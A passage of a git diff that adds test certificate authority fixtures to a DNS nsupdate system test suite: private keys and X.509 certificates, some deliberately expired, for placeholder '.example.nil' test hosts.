+rrkT9jfHVmozRroL/XAMNITZpJw+vwPMwWOaRncjzyyPp0JWt0h+Wv0+A3SjBIh2
+c+Ctg5Ig6vwr2weVc7s/4jz9Kg==
+-----END PRIVATE KEY-----
diff --git a/bin/tests/system/nsupdate/CA/certs/srv01.client02-expired.example.nil.pem b/bin/tests/system/nsupdate/CA/certs/srv01.client02-expired.example.nil.pem
new file mode 100644
index 0000000000..bbdb6dea6f
--- /dev/null
+++ b/bin/tests/system/nsupdate/CA/certs/srv01.client02-expired.example.nil.pem
@@ -0,0 +1,93 @@
+Certificate:
+    Data:
+        Version: 3 (0x2)
+        Serial Number: 8122792693893010843 (0x70b9f4eb2fa1959b)
+        Signature Algorithm: sha256WithRSAEncryption
+        Issuer: C=UA, ST=Kharkiv Oblast', L=Kharkiv, O=Internet Systems Consortium, CN=ca.test.example.com
+        Validity
+            Not Before: Sep  7 08:14:18 2022 GMT
+            Not After : Sep  8 08:14:18 2022 GMT
+        Subject: CN=srv01.client02-expired.example.nil
+        Subject Public Key Info:
+            Public Key Algorithm: rsaEncryption
+                RSA Public-Key: (3072 bit)
+                Modulus:
+                    00:c0:11:27:17:25:3a:ad:85:a0:3b:59:0b:22:64:
+                    63:7d:bb:05:32:35:4f:68:d5:19:2b:cd:46:bd:e2:
+                    b6:42:8c:08:cf:09:0d:a8:cd:58:d9:1b:77:db:17:
+                    8a:fc:f0:55:f2:e1:50:f4:fd:90:aa:49:15:5d:ea:
+                    9b:5a:47:c4:2f:82:07:46:87:f6:05:ef:15:02:a4:
+                    3c:a1:da:fc:5b:75:36:12:f7:12:50:55:f8:be:0c:
+                    7d:21:91:e2:92:d8:41:3f:71:fe:b2:17:c0:68:1d:
+                    09:be:fc:c4:24:ec:ef:d2:5c:52:a9:4f:d6:5d:30:
+                    b8:ab:68:2e:39:e9:8b:5b:c6:f0:64:42:f7:b8:bd:
+                    b2:90:32:22:68:bc:38:70:2f:14:ae:c8:7c:63:04:
+                    d5:11:b2:0a:f1:8e:13:10:b2:3b:69:f4:fe:3a:e2:
+                    f1:58:56:28:93:c1:28:aa:a7:19:c9:91:12:43:f8:
+                    f5:1d:34:58:3d:32:9f:11:67:d1:1f:53:d4:e0:d5:
+                    0c:78:2c:6f:38:3f:e1:89:69:b5:09:3c:12:f4:a9:
+                    ee:e5:2f:c5:47:65:a6:82:fa:ea:78:48:31:89:11:
+                    b6:23:8a:27:ed:7c:1d:6d:e8:ab:a0:29:de:40:f4:
+                    f2:9b:61:22:da:9c:22:32:f7:3d:f8:4c:e1:38:a7:
+                    e2:c3:af:a4:67:7f:94:a4:fd:52:25:89:4d:f4:9a:
+                    d6:35:ba:98:20:f1:4b:c9:a5:cf:ac:72:58:2a:cd:
+                    3b:4a:3e:e9:04:31:e2:9a:74:32:d5:52:60:34:ad:
+                    0c:85:02:65:58:41:74:2a:57:91:34:55:36:a9:14:
+                    5b:45:cc:28:27:d7:6d:ba:55:a3:dd:9f:00:04:a4:
+                    43:c2:af:5c:af:86:53:a6:d5:a7:49:aa:31:d6:5e:
+                    92:7d:26:dd:8d:f4:87:8a:9b:48:e8:25:f4:c7:34:
+                    ca:cf:e3:f7:84:19:3b:43:c7:6a:b8:da:6e:6f:85:
+                    af:8d:0c:fb:7c:ea:c7:73:9c:9b
+                Exponent: 65537 (0x10001)
+        X509v3 extensions:
+            X509v3 Subject Alternative Name:
+                DNS:srv01.client02-expired.example.nil, IP Address:10.53.0.1
+    Signature Algorithm: sha256WithRSAEncryption
+         18:f1:7c:24:5b:d2:03:b0:60:0e:60:e6:32:f9:a7:47:d1:e4:
+         bd:3f:a3:21:53:90:84:9a:c6:2c:87:b2:16:28:95:07:a3:2a:
+         c3:33:8f:60:70:3f:26:58:be:ec:a2:6c:44:89:d3:4e:ef:bb:
+         ce:af:9b:5f:15:06:03:21:74:e3:6f:2a:dc:5c:19:4e:d3:cb:
+         ba:c3:5f:d8:76:89:59:50:82:69:5f:a1:ac:9f:be:79:e1:22:
+         12:37:f9:d3:2e:00:35:03:03:9d:08:24:45:65:7a:e9:72:31:
+         e1:67:44:32:17:25:dd:b9:72:eb:c6:40:d7:5d:8d:5f:00:48:
+         07:09:0d:3c:4c:a1:f1:05:4b:05:9b:2b:5a:21:09:46:f4:17:
+         7a:cf:34:87:ad:bf:ef:bd:56:74:d7:1a:8f:07:ce:70:b1:aa:
+         4d:82:4f:08:dc:56:27:f9:21:20:b8:06:c7:29:b4:8e:36:82:
+         b8:43:85:1c:2d:9f:be:2d:b9:9d:40:de:52:55:6a:2e:0b:28:
+         33:fc:f8:1b:70:e9:c5:46:50:f3:05:be:8d:ed:99:ec:f1:8c:
+         51:8a:1c:4b:95:f4:c4:dd:cd:42:74:bc:6f:66:64:54:b8:c1:
+         6e:c8:3d:e9:fe:10:02:61:50:77:38:b9:b0:b8:13:37:8f:0e:
+         5b:49:92:3a:9d:9a:60:51:68:99:8a:d5:7e:92:71:7e:fa:db:
+         52:37:4d:f9:0d:6c:3b:79:a3:b9:16:b7:95:00:ea:eb:17:54:
+         e2:50:d7:a5:08:54:58:2c:79:66:01:4b:95:65:ed:b8:81:f7:
+         4c:fa:f8:89:37:ad:d9:dc:c9:75:9d:02:3e:e5:92:b3:03:ab:
+         70:69:83:f5:6c:a6:27:7e:2e:fc:9d:b2:59:0a:43:ad:3f:55:
+         2f:5d:ec:ef:52:f0:3e:be:b5:d6:e2:c3:91:9d:dd:5d:e1:9e:
+         e6:18:90:0b:6a:85:f8:e3:83:2a:7c:91:c3:52:1c:6d:aa:2b:
+         44:b8:6f:2b:af:6e
+-----BEGIN CERTIFICATE-----
+MIIEYzCCAsugAwIBAgIIcLn06y+hlZswDQYJKoZIhvcNAQELBQAwfTELMAkGA1UE
+BhMCVUExGDAWBgNVBAgMD0toYXJraXYgT2JsYXN0JzEQMA4GA1UEBwwHS2hhcmtp
+djEkMCIGA1UECgwbSW50ZXJuZXQgU3lzdGVtcyBDb25zb3J0aXVtMRwwGgYDVQQD
+DBNjYS50ZXN0LmV4YW1wbGUuY29tMB4XDTIyMDkwNzA4MTQxOFoXDTIyMDkwODA4
+MTQxOFowLTErMCkGA1UEAwwic3J2MDEuY2xpZW50MDItZXhwaXJlZC5leGFtcGxl
+Lm5pbDCCAaIwDQYJKoZIhvcNAQEBBQADggGPADCCAYoCggGBAMARJxclOq2FoDtZ
+CyJkY327BTI1T2jVGSvNRr3itkKMCM8JDajNWNkbd9sXivzwVfLhUPT9kKpJFV3q
+m1pHxC+CB0aH9gXvFQKkPKHa/Ft1NhL3ElBV+L4MfSGR4pLYQT9x/rIXwGgdCb78
+xCTs79JcUqlP1l0wuKtoLjnpi1vG8GRC97i9spAyImi8OHAvFK7IfGME1RGyCvGO
+ExCyO2n0/jri8VhWKJPBKKqnGcmREkP49R00WD0ynxFn0R9T1ODVDHgsbzg/4Ylp
+tQk8EvSp7uUvxUdlpoL66nhIMYkRtiOKJ+18HW3oq6Ap3kD08pthItqcIjL3PfhM
+4Tin4sOvpGd/lKT9UiWJTfSa1jW6mCDxS8mlz6xyWCrNO0o+6QQx4pp0MtVSYDSt
+DIUCZVhBdCpXkTRVNqkUW0XMKCfXbbpVo92fAASkQ8KvXK+GU6bVp0mqMdZekn0m
+3Y30h4qbSOgl9Mc0ys/j94QZO0PHarjabm+Fr40M+3zqx3OcmwIDAQABozcwNTAz
+BgNVHREELDAqgiJzcnYwMS5jbGllbnQwMi1leHBpcmVkLmV4YW1wbGUubmlshwQK
+NQABMA0GCSqGSIb3DQEBCwUAA4IBgQAY8XwkW9IDsGAOYOYy+adH0eS9P6MhU5CE
+msYsh7IWKJUHoyrDM49gcD8mWL7somxEidNO77vOr5tfFQYDIXTjbyrcXBlO08u6
+w1/YdolZUIJpX6Gsn7554SISN/nTLgA1AwOdCCRFZXrpcjHhZ0QyFyXduXLrxkDX
+XY1fAEgHCQ08TKHxBUsFmytaIQlG9Bd6zzSHrb/vvVZ01xqPB85wsapNgk8I3FYn
++SEguAbHKbSONoK4Q4UcLZ++LbmdQN5SVWouCygz/PgbcOnFRlDzBb6N7Zns8YxR
+ihxLlfTE3c1CdLxvZmRUuMFuyD3p/hACYVB3OLmwuBM3jw5bSZI6nZpgUWiZitV+
+knF++ttSN035DWw7eaO5FreVAOrrF1TiUNelCFRYLHlmAUuVZe24gfdM+viJN63Z
+3Ml1nQI+5ZKzA6twaYP1bKYnfi78nbJZCkOtP1UvXezvUvA+vrXW4sORnd1d4Z7m
+GJALaoX444MqfJHDUhxtqitEuG8rr24=
+-----END CERTIFICATE-----
diff --git a/bin/tests/system/nsupdate/CA/certs/srv01.crt01.example.nil.key b/bin/tests/system/nsupdate/CA/certs/srv01.crt01.example.nil.key
new file mode 100644
index 0000000000..8a1f5dce5e
--- /dev/null
+++ b/bin/tests/system/nsupdate/CA/certs/srv01.crt01.example.nil.key
@@ -0,0 +1,40 @@
+-----BEGIN PRIVATE KEY-----
+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
+v3Tmy/b2gUdEwuKFCxx97g==
+-----END PRIVATE KEY-----
diff --git a/bin/tests/system/nsupdate/CA/certs/srv01.crt01.example.nil.pem b/bin/tests/system/nsupdate/CA/certs/srv01.crt01.example.nil.pem
new file mode 100644
index 0000000000..e08666bac3
--- /dev/null
+++ b/bin/tests/system/nsupdate/CA/certs/srv01.crt01.example.nil.pem
@@ -0,0 +1,93 @@
+Certificate:
+    Data:
+        Version: 3 (0x2)
+        Serial Number: 8122792693893010840 (0x70b9f4eb2fa19598)
+        Signature Algorithm: sha256WithRSAEncryption
+        Issuer: C=UA, ST=Kharkiv Oblast', L=Kharkiv, O=Internet Systems Consortium, CN=ca.test.example.com
+        Validity
+            Not Before: Sep  7 20:28:03 2022 GMT
+            Not After : Aug 30 20:28:03 2052 GMT
+        Subject: CN=srv01.crt01.example.nil
+        Subject Public Key Info:
+            Public Key Algorithm: rsaEncryption
+                RSA Public-Key: (3072 bit)
+                Modulus:
+                    00:b4:9a:63:98:04:ad:bd:ab:29:bf:22:70:54:30:
+                    df:c7:6b:77:5d:b8:5e:0b:cd:0e:a0:6c:74:37:e7:
+                    4b:78:d1:96:da:ca:99:7d:92:b1:e4:1a:0a:1e:b4:
+                    1c:be:ee:cc:95:8c:52:03:93:85:e1:40:43:68:86:
+                    86:bc:6a:62:6d:d6:0a:ca:ee:4f:93:2d:ee:6b:df:
+                    7a:f6:dc:fa:44:a6:39:80:2c:38:7c:89:cd:d9:a3:
+                    99:ec:e8:2b:48:6d:84:41:3d:0e:1a:1f:68:5e:17:
+                    88:8f:a5:da:4d:1c:36:26:ae:b4:7e:d2:fe:a2:59:
+                    d5:67:3a:56:c2:21:65:0d:dd:97:6f:f0:e5:b4:1e:
+                    87:ae:97:35:0d:f4:9b:ae:dc:8a:3e:28:aa:b8:a2:
+                    ab:ee:9d:b2:c5:91:f6:71:99:a5:86:cb:31:9c:05:
+                    d6:9b:94:13:46:a9:9a:c9:a5:55:5f:6c:cc:d0:84:
+                    27:e2:b1:b5:73:39:08:7f:80:2f:04:26:96:0c:8d:
+                    29:9b:be:5e:cc:39:af:a2:db:82:82:57:07:e6:b2:
+                    4a:d9:3d:c8:79:6e:67:61:f3:48:37:a8:4f:9f:b3:
+                    cf:84:b6:50:08:3d:e9:85:e9:a9:76:50:80:e7:2c:
+                    6f:65:95:cb:e2:23:41:58:39:70:e7:78:29:3d:c2:
+                    d6:20:7c:2b:87:30:bd:98:87:63:ed:4a:ad:b9:ed:
+                    7a:4b:13:a1:3d:62:5e:b6:74:64:ef:25:a3:dd:93:
+                    47:aa:d3:25:7e:2a:d7:09:1b:5c:59:50:f1:d4:c6:
+                    9c:f2:64:8a:7c:cb:cc:52:37:50:88:4b:84:35:40:
+                    51:0e:a1:06:a2:60:b6:b0:e3:8f:f9:d8:8e:45:77:
+                    7d:0e:7d:11:92:22:15:0f:a3:37:84:c4:25:dc:14:
+                    b4:20:7a:b7:16:96:72:d4:bf:4d:5d:d2:ab:71:43:
+                    44:be:87:44:d2:b8:74:f7:86:3f:d2:5d:dd:5e:e6:
+                    74:ab:fb:cc:a3:5d:a6:84:80:0b
+                Exponent: 65537 (0x10001)
+        X509v3 extensions:
+            X509v3 Subject Alternative Name:
+                DNS:srv01.crt01.example.nil, IP Address:10.53.0.1
+    Signature Algorithm: sha256WithRSAEncryption
+         94:15:c0:4a:f1:aa:15:30:f7:cb:fe:f9:fa:ba:5f:f0:18:1f:
+         7e:44:9a:b1:d4:9c:f9:78:d3:a7:c7:65:f2:d1:48:62:f4:cb:
+         2f:20:ea:7c:af:08:cf:db:e2:0f:ab:c0:22:38:16:c5:0c:e5:
+         c7:6e:34:b1:ed:f6:02:1a:69:c0:09:d1:43:b3:30:77:fc:00:
+         07:1b:da:88:97:5b:28:4e:e6:92:ca:00:cc:86:66:a9:a9:0a:
+         75:be:74:88:7d:09:52:e7:a9:82:8f:a9:62:5e:b3:19:64:14:
+         e5:54:9e:6d:9c:98:39:8b:1f:92:92:59:f9:a2:46:75:96:11:
+         71:8a:c8:71:05:10:2a:b8:f3:a4:19:db:eb:05:17:0a:dd:98:
+         2c:58:54:3a:7f:8c:c2:26:9e:62:ca:04:dd:3c:99:1f:a0:64:
+         69:fb:d6:04:c1:0b:8c:62:f6:2d:ea:bc:6c:a9:39:7b:f1:20:
+         b8:b7:04:3c:a7:65:fa:1f:db:22:e2:5b:8b:91:75:60:be:e1:
+         1e:50:13:23:d5:4b:93:87:20:ec:46:6f:5f:94:dc:b1:60:d1:
+         79:4b:5e:76:c9:6d:0d:be:a6:9a:6b:67:8b:a7:48:7e:51:b5:
+         9b:9d:ec:a6:0c:c1:b3:d9:0b:26:8b:f2:7c:cf:61:d0:a2:a0:
+         90:90:18:6b:b4:ca:56:b8:5e:5a:8b:78:71:c4:d1:fc:15:30:
+         0a:03:26:74:85:3d:6c:ed:d3:e1:c9:c1:b0:d4:0c:b9:f3:04:
+         93:0d:e3:a6:2c:a7:ee:e0:24:0d:dd:37:fc:6b:09:d5:b5:55:
+         33:12:82:cf:f2:ba:0f:b0:e2:ce:f7:c0:ac:2c:7f:ab:f9:dd:
+         87:b1:9b:95:f2:d7:32:98:dd:4c:b3:28:b7:0d:2b:2f:62:65:
+         ce:59:fb:95:d4:5f:9d:fd:83:5a:01:3b:5f:48:5f:3c:fa:4b:
+         52:91:66:e1:49:8e:cd:09:78:f5:ce:f8:cd:5c:85:3e:ad:bd:
+         1c:4e:e0:3f:0a:8b
+-----BEGIN CERTIFICATE-----
+MIIETzCCAregAwIBAgIIcLn06y+hlZgwDQYJKoZIhvcNAQELBQAwfTELMAkGA1UE
+BhMCVUExGDAWBgNVBAgMD0toYXJraXYgT2JsYXN0JzEQMA4GA1UEBwwHS2hhcmtp
+djEkMCIGA1UECgwbSW50ZXJuZXQgU3lzdGVtcyBDb25zb3J0aXVtMRwwGgYDVQQD
+DBNjYS50ZXN0LmV4YW1wbGUuY29tMCAXDTIyMDkwNzIwMjgwM1oYDzIwNTIwODMw
+MjAyODAzWjAiMSAwHgYDVQQDDBdzcnYwMS5jcnQwMS5leGFtcGxlLm5pbDCCAaIw
+DQYJKoZIhvcNAQEBBQADggGPADCCAYoCggGBALSaY5gErb2rKb8icFQw38drd124
+XgvNDqBsdDfnS3jRltrKmX2SseQaCh60HL7uzJWMUgOTheFAQ2iGhrxqYm3WCsru
+T5Mt7mvfevbc+kSmOYAsOHyJzdmjmezoK0hthEE9DhofaF4XiI+l2k0cNiautH7S
+/qJZ1Wc6VsIhZQ3dl2/w5bQeh66XNQ30m67cij4oqriiq+6dssWR9nGZpYbLMZwF
+1puUE0apmsmlVV9szNCEJ+KxtXM5CH+ALwQmlgyNKZu+Xsw5r6LbgoJXB+ayStk9
+yHluZ2HzSDeoT5+zz4S2UAg96YXpqXZQgOcsb2WVy+IjQVg5cOd4KT3C1iB8K4cw
+vZiHY+1KrbnteksToT1iXrZ0ZO8lo92TR6rTJX4q1wkbXFlQ8dTGnPJkinzLzFI3
+UIhLhDVAUQ6hBqJgtrDjj/nYjkV3fQ59EZIiFQ+jN4TEJdwUtCB6txaWctS/TV3S
+q3FDRL6HRNK4dPeGP9Jd3V7mdKv7zKNdpoSACwIDAQABoywwKjAoBgNVHREEITAf
+ghdzcnYwMS5jcnQwMS5leGFtcGxlLm5pbIcECjUAATANBgkqhkiG9w0BAQsFAAOC
+AYEAlBXASvGqFTD3y/75+rpf8BgffkSasdSc+XjTp8dl8tFIYvTLLyDqfK8Iz9vi
+D6vAIjgWxQzlx240se32AhppwAnRQ7Mwd/wABxvaiJdbKE7mksoAzIZmqakKdb50
+iH0JUuepgo+pYl6zGWQU5VSebZyYOYsfkpJZ+aJGdZYRcYrIcQUQKrjzpBnb6wUX
+Ct2YLFhUOn+MwiaeYsoE3TyZH6BkafvWBMELjGL2Leq8bKk5e/EguLcEPKdl+h/b
+IuJbi5F1YL7hHlATI9VLk4cg7EZvX5TcsWDReUtedsltDb6mmmtni6dIflG1m53s
+pgzBs9kLJovyfM9h0KKgkJAYa7TKVrheWot4ccTR/BUwCgMmdIU9bO3T4cnBsNQM
+ufMEkw3jpiyn7uAkDd03/GsJ1bVVMxKCz/K6D7DizvfArCx/q/ndh7GblfLXMpjd
+TLMotw0rL2Jlzln7ldRfnf2DWgE7X0hfPPpLUpFm4UmOzQl49c74zVyFPq29HE7g
+PwqL
+-----END CERTIFICATE-----
diff --git a/bin/tests/system/nsupdate/CA/certs/srv01.crt02-expired.example.nil.key b/bin/tests/system/nsupdate/CA/certs/srv01.crt02-expired.example.nil.key
new file mode 100644
index 0000000000..307d26df74
--- /dev/null
+++ b/bin/tests/system/nsupdate/CA/certs/srv01.crt02-expired.example.nil.key
@@ -0,0 +1,40 @@
+-----BEGIN PRIVATE KEY-----
+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
+bKvcUjDKJOb0BURXpKzS8Rf9
+-----END PRIVATE KEY-----
diff --git a/bin/tests/system/nsupdate/CA/certs/srv01.crt02-expired.example.nil.pem b/bin/tests/system/nsupdate/CA/certs/srv01.crt02-expired.example.nil.pem
new file mode 100644
index 0000000000..9a407f673b
--- /dev/null
+++ b/bin/tests/system/nsupdate/CA/certs/srv01.crt02-expired.example.nil.pem
@@ -0,0 +1,93 @@
+Certificate:
+    Data:
+        Version: 3 (0x2)
+        Serial Number: 8122792693893010841 (0x70b9f4eb2fa19599)
+        Signature Algorithm: sha256WithRSAEncryption
+        Issuer: C=UA, ST=Kharkiv Oblast', L=Kharkiv, O=Internet Systems Consortium, CN=ca.test.example.com
+        Validity
+            Not Before: Sep  6 20:34:09 2022 GMT
+            Not After : Sep  7 20:34:09 2022 GMT
+        Subject: CN=srv01.crt02-expired.example.nil
+        Subject Public Key Info:
+            Public Key Algorithm: rsaEncryption
+                RSA Public-Key: (3072 bit)
+                Modulus:
+                    00:ec:2c:88:01:b5:8b:3a:74:56:0d:57:b3:75:fd:
+                    05:58:05:ed:8a:ab:e8:29:0e:f1:52:34:2e:22:62:
+                    6e:41:74:ff:78:33:b4:ff:15:73:fa:ce:90:10:a4:
+                    fe:d2:66:14:7b:0b:79:7b:d6:20:88:f9:41:31:14:
+                    9a:49:36:8c:38:74:4b:f3:e2:51:e7:e5:6f:bd:65:
+                    38:e6:9c:30:80:3f:24:56:f6:68:9e:09:76:81:5b:
+                    59:81:44:56:9f:1c:3f:48:f0:95:bf:60:40:29:df:
+                    ac:42:3d:c3:6f:85:2d:c3:0e:08:b6:f7:12:2a:51:
+                    00:bf:cf:fe:6c:ae:d7:7d:de:c1:72:f8:32:03:5f:
+                    c9:3f:4a:de:e5:fa:24:90:46:f0:4a:5f:09:d8:93:
+                    4c:bf:1c:61:4c:d2:dc:db:6c:f8:af:73:5b:b7:3b:
+                    7a:e8:6d:1c:bb:26:23:47:87:fd:50:06:0f:f1:b5:
+                    88:8a:a8:25:69:57:e3:46:3b:d2:6b:52:fb:5a:01:
+                    f6:96:e9:2a:cf:13:e7:16:4c:fd:5a:f6:1f:0b:8d:
+                    f7:25:a3:68:d7:15:fc:5c:48:49:05:e2:85:24:70:
+                    57:b1:d8:05:24:ae:26:3a:00:9b:72:a8:47:05:c5:
+                    f3:7c:2d:f2:58:72:37:fb:c1:8b:4f:42:8f:dd:9a:
+                    ac:5b:ae:6f:21:62:ad:29:81:b9:8b:4b:6c:ff:61:
+                    99:0f:7c:09:d3:6d:00:20:2d:b1:0c:00:6c:99:4c:
+                    92:dc:0e:11:2d:e7:ba:7b:c7:c8:b1:a3:1a:61:f8:
